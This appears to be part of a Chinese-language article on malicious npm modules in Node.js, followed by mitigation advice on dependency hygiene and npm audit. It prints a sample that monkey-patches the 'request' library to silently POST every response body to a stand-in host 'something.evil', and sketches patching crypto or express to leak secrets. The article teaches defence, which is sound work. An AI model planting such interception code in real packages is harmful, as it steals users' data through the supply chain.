常见的Node.js攻击-恶意模块的危害( 二 )


{ // Require the popular `request` module const request = require('request') // Monkey-patch so every request now runs our function const RequestOrig = request.Request request.Request = (options) => { const origCallback = options.callback // Any outbound request will be mirrored to something.evil options.callback = (err, httpResponse, body) => { const rawReq = require('http').request({ hostname: 'something.evil', port: 8000, method: 'POST' }) // Failed requests are silent rawReq.on('error', () => {}) rawReq.write(JSON.stringify(body, null, 2)) rawReq.end() // The original request is still made and handled origCallback.Apply(this, arguments) } if (new.target) { return Reflect.construct(RequestOrig, [options]) } else { return RequestOrig(options) } };}复制代码这个代码示例(如果包含在Node.js进程所需的任何模块中)将拦截通过请求库发出的所有请求 , 并将响应发送到攻击者的服务器 。
现在想象一下 , 如果我们把这个模块修改得更邪恶 。例如 , 它甚至可以修补内部加密模块提供的方法 。这可以用来将进程加密的任何字符串发送给第三方 。这将影响将密码作为依赖项的其他模块 , 例如数据库模块在散列密码时执行auth或bcrypt模块 。
模块还可以对express模块进行补丁 , 并创建一个中间件 , 该中间件在每个传入请求上运行 。然后 , 这些数据可以很容易地广播给攻击者 。
缓解
我们可以做几件事来保护自己免受恶意模块的攻击 。首先要做的是了解应用程序中安装的模块数量 。您应该始终知道应用程序依赖于多少模块 。如果您曾经找到两个提供相同功能的模块 , 请选择依赖关系较少的模块 。拥有较少的依赖意味着拥有较小的攻击面 。
一些较大的公司实际上会有一个团队手工审核每个软件包和软件包的白名单版本 , 然后允许公司的其他人员使用!考虑到npm上可用的包和发行版本的数量 , 这种方法并不实际 。此外 , 许多包维护人员将安全更新作为补丁发布 , 这样用户就可以获得自动更新 , 但是如果审查过程很慢 , 那么应用程序的安全性就会降低!
npm最近收购了NSP并发布了npm audit 。此工具将扫描已安装的依赖项 , 并将其与包含已知漏洞的模块/版本的黑名单进行比较 。运行npm install甚至会告诉您是否存在已知的漏洞 。运行npm audit fix程序将尝试用永久兼容的版本替换易受攻击的包(如果存在的话) 。
这个工具虽然功能强大 , 但仅仅是抵御恶意模块的开始 。这是一种保守的方法:它取决于已知和报告的漏洞 。它依赖于在开发机器上运行命令的开发人员 , 查看输出 , 将依赖关系更改为不再需要脆弱模块 , 然后再次部署 。如果已知某个漏洞 , 它将不会主动保护当前部署的服务 。

常见的Node.js攻击-恶意模块的危害

文章插图
 
通常情况下 , 对于还没有补丁版本的包 , npm audit会发现问题(如截图中显示的stringstream包) 。例如,模块A不是经常更新,并且它依赖了一个有漏洞版本的模块B,然后模块B的版本被维护者修复了,应用程序所有者不能简单地更新模块B的版本 。另一个缺点是 , 有时审计的结果是无法利用的问题 , 例如模块中的ReDoS漏洞 , 该漏洞从不接收来自最终用户的字符串 。读完这篇文章后 , 您甚至可能想完全避免使用所有第三方模块 。当然 , 这是完全不切实际的 , 因为在npm上有大量可用的模块 , 重新创建它们将是一项昂贵的工作 。构建Node.js应用程序的吸引力来自于npm上庞大的模块生态系统 , 以及我们构建可生产应用程序的速度 。避免第三方模块违背了这一目的 。
记住 , 一定要注意您已经安装的模块 , 注意您的依赖关系树 , 注意具有大量依赖关系的模块 , 并仔细检查您正在考虑添加的模块 。这些是防止恶意模块进入依赖关系树的最佳方法 。一旦模块成为依赖项 , 及时更新它们 , 因为这是获得安全补丁的好方法 。不幸的是 , 如果您的应用程序的依赖关系树中最终出现了一个恶意模块 , 或者发现了一个零日漏洞 , 那么你也无能为力 。您可以继续运行npm audit , 希望有人报告易受攻击的代码 , 但即使这样也意味着您应用对外使用期间易受攻击 。如果您真的希望主动地保护Node.js应用程序免受恶意模块的攻击 , 防止恶意的网络请求、危险的文件系统访问和限制子进程执行 , 或者您需要使用Intrinsic 。


推荐阅读